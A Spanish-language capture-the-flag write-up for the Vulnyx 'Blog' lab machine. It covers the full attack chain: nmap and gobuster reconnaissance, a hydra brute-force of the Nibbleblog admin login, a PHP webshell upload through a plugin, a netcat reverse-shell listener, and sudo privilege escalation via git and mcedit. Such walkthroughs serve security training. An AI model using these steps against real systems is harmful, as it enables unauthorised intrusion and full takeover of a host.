Write-up: Máquina Blog (Vulnyx)

Comenzamos con averiguar la dirección IP de la Máquina Victima, para ello primeramente utilizaremos la herramienta netdiscover, para ello ejecutamos el siguiente comando:

$ netdiscover -i eth1 -r 10.0.2.0/24

  • Kali (Máquina Atacante): 10.0.2.4
  • Máquina Victima: 10.0.2.58
Comprobamos si tenemos conexión con la Máquina Victima, para ello ejecutamos el siguiente comando:

$ ping -c 1 10.0.2.58


Como se puede comprobar por el TTL nos enfrentamos a una Máquina Linux.

A continuación, realizamos con la herramienta nmap un reconocimiento de los servicios, para ello ejecutamos el siguiente comando:

$ nmap -Pn -p- 10.0.2.58 -sVC


Como podemos comprobar la Máquina Victima tiene abiertos los puertos 22 80.

Comprobamos que es lo que corre por el puerto 80.


Encontramos que se realiza un ping y se muestra el resultado, y también vemos el domino blog.nyx.

Lo agregamos al archivo /etc/hosts de la siguiente manera, para ello ejecutamos el siguiente comando:

$ nano /etc/hosts


A continuación, realizamos con la herramienta gobuster un fuzzing web, para ello ejecutamos el siguiente comando:

$ gobuster dir -u http://10.0.2.58 -w /usr/share/seclists/Discovery/Web-Content/Director-list-2.3-big.txt


Encontramos el directorio my_weblog.

Acedemos a el.


Volvemos a realizar con la herramienta gobuster un fuzzing web pero esta vez por extensiones, para ello ejecutamos el siguiente comando:

$ gobuster dir -u http://10.0.2.58/my_weblog -w /usr/share/seclists/Discovery/Web-Content/Director-list-2.3-big.txt -x html,php,js,txt


Encontramos el fichero admin.php.

Accedemos a el.


Encontramos un panel de login de Nibbleblog (CMS).

Enumeramos los usuarios.


Encontramos el usuario admin.

A continuación, con la herramienta hydra realizamos un ataque a http para intentar crackear la contraseña del usuario admin, para ello ejecutamos el siguiente comando:

$ hydra -l admin -P rockyou.txt 10.0.2.58 http-post-form "/my_weblog/admin.php:username=^USER^&password=^PASS^:Incorrect username or password" -I -f


Obtenemos la contraseña kisses.

Intentamos loguearnos en el panel de administración de Nibbleblog (CMS) con las credenciales obtenidas.


Estamos dentro.

Nos dirigimos a Plugins/My image y vemos que podemos subir ficheros, por lo tanto, nos creamos una webshell en .php, para ello ejecutamos el siguiente comando:

$ nano revshell.php


La subimos.

Nibbleblog (CMS) al subir una revshell.php la guarda con el nombre image.php, por lo tanto, accedemos a ella de la siguiente manera:


A continuación, en nuestra terminal de nuestra Máquina Atacante y con la ayuda de la herramienta de netcat(nc) nos ponemos a la escucha por el puerto 443 por donde vamos a recibir la conexión, para ello ejecutamos el siguiente comando:

$ nc -lvnp 443

Ejecutamos la siguiente reverse shell de la siguiente manera:



Y obtenemos una shell como www-data.

A continuación, hacemos un tratamiento de la TTY para obtener una shell interactiva y así evitar problemas, para ello ejecutamos los siguientes comandos:

$ script /dev/null -c bash
   Ctrl + Z
$ stty raw -echo;fg
$ reset xterm
$ export TERM=xterm

Enumeramos los permisos sudo, para ello ejecutamos el siguiente comando:

$ sudo -l


Nos encontramos con el binario git que lo podemos ejecutar como el usuario admin. por lo tanto nos vamos a la pagina gtfobins a mirar el payload.

Lo ejecutamos de la siguiente manera:

$ sudo -u admin /usr/bin/git help config
!/bin/bash


¡¡¡Somos admin!!!

Enumeramos de nuevo los permisos sudo, para ello ejecutamos el siguiente comando:

$ sudo -l


Nos encontramos con el binario mcedit que lo podemos ejecutar como el usuario root.

Lo ejecutamos:

$ sudo /usr/bin/mcedit

Presionamos la tecla F9, y nos dirigimos a File/User menu.../Invoke 'shell'.

¡¡¡Ya somos root!!!

También pudiendo leer las flags de user root.